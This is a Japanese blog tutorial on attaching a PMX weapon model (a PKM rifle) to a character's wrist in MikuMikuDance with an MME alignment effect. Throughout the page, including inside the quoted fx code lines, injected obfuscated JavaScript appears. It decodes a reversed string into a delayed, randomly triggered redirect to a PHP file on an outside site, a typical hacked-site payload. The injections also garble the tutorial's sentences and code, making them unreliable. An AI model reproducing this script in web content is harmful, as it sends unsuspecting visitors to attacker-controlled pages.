【MME】武器などのPMXモデルをMMEで追従させる

前にPMXモデルとPMXモデルとくっつける方法として、「dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html” title=”【MMD】PMDモデルにPMDの武器を持たせる” target=”_blank”>【MMD】PMDモデルにPMDの武器を持たせる」の記事を書きましたが、

お手軽に実現できるMMEがありました。

その名は、

MMEでアクセサリ位置に追従するPMD,PMX」 v1.01 by Furiadom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ざっくりとどんなものか説明すると

PMXのモデルを手軽にアクセサリのように扱えるというものです。

この解説動画に配布先も書いてありました。

[nicolink vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deoid=”sm14659140″]

では、ハクさんに自動小銃(PKM)を持つ方法を例として説明します。

1.ハクと、自動小銃(PKM)のモデル読み込み

普通に、2つのモデルを読み込んでください。

2.アクセサリに「Alignment1.x」を読み込む

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

赤青緑のオブジェクトが表示されます。

3.fxファイルの修正

17行目にある、「センター」をPKMのボーン名に変更(PKMにはセンターというボーンがないため、適当なボーンを指定)

修正前:#dom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}define ROOT_BONE_NAME “センター”

修正後:#dom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}define ROOT_BONE_NAME “PKM”

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ボーン名は、この画像で選択されている「PKM」にしています。それ以外でも動作します。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

修正箇所は赤枠の部分。

ここでは、「RootAlignment.fx」の中身を書き換えて使用しています。

通常表示の場合の0位置が中心としてアクセサリの角度、スケーリングが反映され

アクセサリの位置に移動します。

ファイル名を修正して保存。(今回は「BoneAlignment_PKM.fx」という名前にして保存しました)

4.アクセサリ(Alignment1.x)をハクのモデルに割り当て

「アクセサリ操作」にて「Alignment1.x」をハクの右手首に割り当て。

こうすることで、自動小銃がハクの右手首に追従することになります。

(fxファイルを割り当てないと追従しないので、次の作業を行なってください)

5.fxファイルの割り当て

3.修正したfxファイル「BoneAlignment_PKM.fx」を割り当て

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

自動小銃のモデル(pxch_PKM.pmx)にファイルの選択で、割り当てた後の状態です。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

このような形に、自動小銃がハクの右手首付近に移動します。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

試しに、ハクの右腕を移動させてみると、ちゃんと自動小銃がくっついて移動します。

ちなみにfxファイルは、以下の5種類が同梱されています。

それぞれの違いは、Readme.tx参照。

・BoneAlignment.fx

・BoneOffsetAlignment.fx

・BoneOffsetAlignmentOffsetOnly.fx

・RootAlignment.fx

・RootAlignmentOffsetOnly.fx

6.赤緑青のオブジェクトを消す

アクセサリのTrを0に設定すれば見えなくなります。

あとは、アクセサリの座標をいじって手の位置に合わせたりするだけです。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

以上です。

個人的には、ダミーボーンをモデルにつけておいて、アクセサリをそのダミボーンに連結させたほうが手軽に微調整できていいかなと思ったりもしています。

コメントを残す